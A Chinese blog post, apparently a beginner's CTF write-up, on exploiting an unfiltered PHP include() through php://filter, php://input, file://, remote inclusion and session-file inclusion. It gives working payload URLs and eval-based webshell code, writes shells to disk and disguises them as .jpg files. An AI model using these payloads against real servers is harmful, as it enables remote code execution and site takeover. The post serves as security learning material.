blubiu

My Love

上网不网恋,简直浪费电.


代码审计--一道简单的文件包含题目的多种利用方式


不知出自哪次CTF


前言:

本萌新最近在学习代码审计,

有一天在水群聊到代码审计如何学习,

然后某dalao丢给我一道题,说你对这题有什么看法,

本萌新一看,这不是很简单吗,想也没多想就直接上去?file=flag.php

然后被dalao指教了一番,于是就有了这篇文章。


目录:


NO.1 传统方法

首先来看下代码

<?php
error_reporting(0);
if(@isset($_GET["file"])){
    include($_GET["file"]);
}else{
    highlight_file(__FILE__);
    phpinfo();
}
?>

看完代码后再来学习学习函数吧,毕竟菜啊!!!


isset()函数检测变量是否设置,是返回true,否则返回false

语法:bool isset( mixed var [, mixed var [, …]] )


error_reporting()函数能够在运行时设置 error_reporting 指令。0为关闭错误报告

语法:error_reporting(level)


include 函数包含并运行指定文件。

这个应该大家都很熟悉了。


highlight_file()函数对文件进行语法高亮显示。

语法:highlight_file(filename,return)

参数:

  1. filename 必需。要进行高亮处理的 PHP 文件的路径。
  2. return 可选。如果设置 true,则本函数返回高亮处理的代码。

这题由于没有任何过滤,利用起来并不困难,

直接访问的时候会出现phpinfo,可能是为了方便让你知道网站路径吧,

知道路径后,当然一般直接使用?file=xxx就可以直接利用了。


NO.2 php伪协议

对于php伪协议,网上也有很多的文章,

但是对于萌新来说,自己再总结学习一下自然不是什么坏事,

谈到伪协议就不得不先说allow_url_fopen allow_url_include这两个函数。

allow_url_fopen函数:默认值是ON,允许url里的封装协议访问文件

allow_url_include函数:默认值是OFF,不允许包含url里的封装协议包含文件

接下来看看CTF中几个常用的伪协议。


1. php://filter

php://filter协议在CTF中经常出现,通常配合base64来读取源码,

参数:

名称:

  1. resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流。
  2. read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
  3. write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
  4. <; 两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。

这道题中利用方法也很简单,

http://localhost/include.php?file=php://filter/read=convert.base64-encode/resource=flag.txt

也很好理解,意思就是读取flag.txt的内容,进行base64编码后输出

注意:像这样的话是读取相同路径下的文件,就是include.phpflag.txt同路径

images


接下来看看跟php://filter很像的一个协议

file://协议(不是伪协议)

说明: file:// — 访问本地文件系统

file://协议会受到 allow_url_fopen 的影响,

但是在CTF中通常用来读取本地文件而不会受到allow_url_fopen的影响

用法: file:// [文件的绝对路径和文件名]

然后在这道题中就可以这样去构造,

http://localhost/include.php?file=file://D:\phpStudy\PHPTutorial\WWW\flag.txt

在Windows下正反斜杆都可以使用,

Linux下必须使用正斜杆(/)

images

当然还可以配合php://filter协议使用,

http://localhost/include.php?file=php://filter/read=convert.base64-encode/resource=file://D:\phpStudy\PHPTutorial\WWW\flag.txt

2. php://input协议

说明:简单来说就是能够将post请求中的数据作为PHP代码执行

需要将allow_url_include开启

注:当enctype='multipart/form-data' 的时候 php://input 是无效的

测试:

images

也可以post生成一句话

<?php fputs(fopen("shell.php","w"),'<?php eval($_POST['cmd']);?>');?>

先来认识下函数,


fputs()函数将内容写入一个打开的文件中。

语法:fputs(file,string,length)

参数:

  1. file 必需。规定要写入的打开文件。
  2. string 必需。规定要写入打开文件的字符串。
  3. length 可选。规定要写入的最大字节数。

fopen()函数打开文件或者 URL。

语法:fopen(filename,mode,include_path,context)

参数:

  1. filename 必需。规定要打开的文件或 URL。
  2. mode 必需。规定要求到该文件/流的访问类型。可能的值见下表。
  3. include_path 可选。如果也需要在 include_path 中检索文件的话,可以将该参数设为 1 或 TRUE。
  4. context 可选。规定文件句柄的环境。Context 是可以修改流的行为的一套选项。

mode 参数的可能的值:

  1. “r” 只读方式打开,将文件指针指向文件头。
  2. “r+” 读写方式打开,将文件指针指向文件头。
  3. “w” 写入方式打开,将文件指针指向文件头并将文件大小截为零。如果文件不存在则尝试创建之。
  4. “w+” 读写方式打开,将文件指针指向文件头并将文件大小截为零。如果文件不存在则尝试创建之。
  5. “a” 写入方式打开,将文件指针指向文件末尾。如果文件不存在则尝试创建之。
  6. “a+” 读写方式打开,将文件指针指向文件末尾。如果文件不存在则尝试创建之。
  7. “x” 创建并以写入方式打开,将文件指针指向文件头。如果文件已存在,返回 FALSE,如果文件不存在则尝试创建之。
  8. “x+” 创建并以读写方式打开,将文件指针指向文件头。如果文件已存在,返回 FALSE,如果文件不存在则尝试创建之。

这句话的意思很明显了,以写入的方式将一句话写入到shell.php这个文件中,

然后就可以直接上菜刀了

images

对于文件包含这个东西来说,文件后缀可以是任意的,

只要文件内容符合PHP语法规范,那么任何扩展名都可以被当作PHP来解析,

这里我们将shell.php改成shell.jpg的后缀,

菜刀路径的话也要换成包含的格式

http://localhost/include.php?file=shell.jpg

依旧是可以访问的,

好了,伪协议就说怎么多了。


NO.3 远程包含

既然是文件包含的题目,当然就离不开远程文件包含了,

远程包含需要目标服务器将allow_url_fopenallow_url_include开启才可以。

现在将一匹马放到自己服务器上,然后远程包含这匹马,

注意,这里有个坑

这匹马的文件名不能是可以解析的文件后缀,比如php后缀可以解析,那么这匹马的后缀就不能是php

http://localhost/include.php?file=http://127.0.0.1/shell.jpg

但是如果我就想要包含php后缀的文件呢,当然也是可以的,

不过这里需要将一句话echo出来才行,这样才可以包含php后缀的文件

<?php
echo '<?php eval($_POST["cmd"]);?>';
?>

然后就可以利用了

images


思考:为什么远程包含需要将一句话echo出来

原因是远程服务器已经将文件解析了,远程包含只包含前端显示的代码,跟后缀没什么关系,

所有这里为什么要echo一句话就是这个道理。

相反,本地包含就不需要在前端显示,只要是符合php规范的代码就可以,

本地包含一般使用jpg,log这样的后缀的一句话去绕waf。


远程包含还可以配合伪协议去利用,

将一句话进行base64加密,

images

注意:这里要是加密echo的一句话是不行的

然后伪协议中base64就要换成解密的了decode

使用方法:

http://localhost/include.php?file=php://filter/read=convert.base64-decode/resource=http://127.0.0.1/shell.php

images

然后一样可以使用菜刀去连接


NO.4 session文件包含

这题我们稍微改动一下,增加一个session

<?php

session_start();
error_reporting(0);

if(@isset($_GET["file"])){
    $_SESSION["username"]=$_GET["file"];
    include($_GET["file"]);
}else{
    highlight_file(__FILE__);
    phpinfo();
}


?>

这里的话就是开启session,然后将传入的参数写入到session文件中。

这里我们传入一个名为flag的参数,

在浏览器中可以看到 phpsessid 在发送的请求的 cookie值,

images


然后我们可以通过phpinfo知道session存放的路径,

images


然后去文件夹中发现确实存在这个临时文件,

images


然后进行读取,session临时文件格式为sess_xxx 发现是我们刚刚传入的flag字段

http://localhost/include.php?file=../tmp/tmp/sess_onkqtedht4iucf6bnnjpgqu0g7

images


如果当我们传入的值为 <?php phpinfo();?> 会出现什么情况

images

好了。就说这么多了…


总结

首先真的挺感谢朋友们对我的支持,

学习过程中问了非常多的问题,

本文章难免会出现一些语句错误,如有发现还请多多指教,

最后呢,当然希望能够做一条会翻身的咸鱼了!!!


参考文献

https://www.freebuf.com/column/148886.html
http://www.cnblogs.com/Oran9e/p/8082962.html
http://www.php.net/